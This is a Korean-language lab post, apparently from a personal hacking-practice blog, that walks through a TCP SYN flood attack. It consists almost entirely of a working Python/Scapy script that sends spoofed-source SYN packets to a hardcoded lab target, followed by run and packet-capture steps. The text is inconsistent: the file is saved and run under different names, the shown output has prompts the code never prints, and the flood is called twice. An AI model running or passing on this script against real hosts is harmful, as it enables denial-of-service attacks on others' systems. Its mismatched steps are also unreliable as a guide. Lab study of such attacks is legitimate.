실습> 파이썬 코드를 활용한 공격
1. 공격 코드 생성
Attacker# vi tcpSynFlooding.py
-- tcpSynFlooding.py --
#!/usr/bin/python3
from sys import stdout
from scapy.all import *
from random import randint
from argparse import ArgumentParser
def randomIP():
#ip = ".".join(map(str, (randint(0, 255)for _ in range(4))))
ip = "192.168.108.102"
return ip
def randInt():
x = randint(1000, 9000)
return x
def SYN_Flood(dstIP, dstPort, counter):
total = 0
print ("Packets are sending ...")
for x in range (0, counter):
s_port = randInt()
s_eq = randInt()
w_indow = randInt()
IP_Packet = IP()
IP_Packet.src = randomIP()
IP_Packet.dst = dstIP
TCP_Packet = TCP ()
TCP_Packet.sport = s_port
TCP_Packet.dport = int(dstPort)
TCP_Packet.flags = "S"
TCP_Packet.seq = s_eq
TCP_Packet.window = w_indow
send(IP_Packet/TCP_Packet, verbose=0)
total+=1
print(total)
stdout.write("\nTotal packets sent: %i\n" % total)
def main():
parser = ArgumentParser()
parser.add_argument('--target', '-t', help='target IP address')
parser.add_argument('--port', '-p', help='target port number')
parser.add_argument('--count', '-c', help='number of packets')
parser.add_argument('--version', '-v', action='version', version='Python SynFlood Tool v2.0.1\n@EmreOvunc')
parser.epilog = "Usage: python3 py3_synflood_cmd.py -t 10.20.30.40 -p 8080 -c 1"
args = parser.parse_args()
args.target = "192.168.108.100"
args.port = 80
args.count = 1000
print(args.target)
if args.target is not None:
if args.port is not None:
if args.count is None:
print('[!]You did not use --counter/-c parameter, so 1 packet will be sent..')
SYN_Flood(args.target, args.port, 1)
else:
SYN_Flood(args.target, args.port, int(args.count))
SYN_Flood(args.target, args.port, int(args.count))
else:
print('[-]Please, use --port/-p to give target\'s port!')
print('[!]Example: -p 445')
print('[?] -h for help')
exit()
else:
print('''usage: py3_synflood_cmd.py [-h] [--target TARGET] [--port PORT]
[--count COUNT] [--version]
optional arguments:
-h, --help show this help message and exit
--target TARGET, -t TARGET
target IP address
--port PORT, -p PORT target port number
--count COUNT, -c COUNT
number of packets
--version, -v show program's version number and exit''')
exit()
main()
-- tcpSynFlooding.py --
2. 공격 실행
Attacker# python3 tcpSynFlood.py
:
:
Enter your source ip:192.168.108.102
Enter your target ip:192.168.108.100
3. 패킷 덤프
Victim2# tcpdump -n -i ens33
:
:(생략)
'Linux > 모의해킹' 카테고리의 다른 글
| ICMP 생성해서 보내기 (0) | 2022.01.13 |
|---|---|
| GateWay IP 주소 삭제 (0) | 2022.01.13 |
| TCP SYNflooding (씬플러딩) (0) | 2022.01.11 |
| LAND Attack (0) | 2022.01.11 |
| Ping Of Death (0) | 2022.01.11 |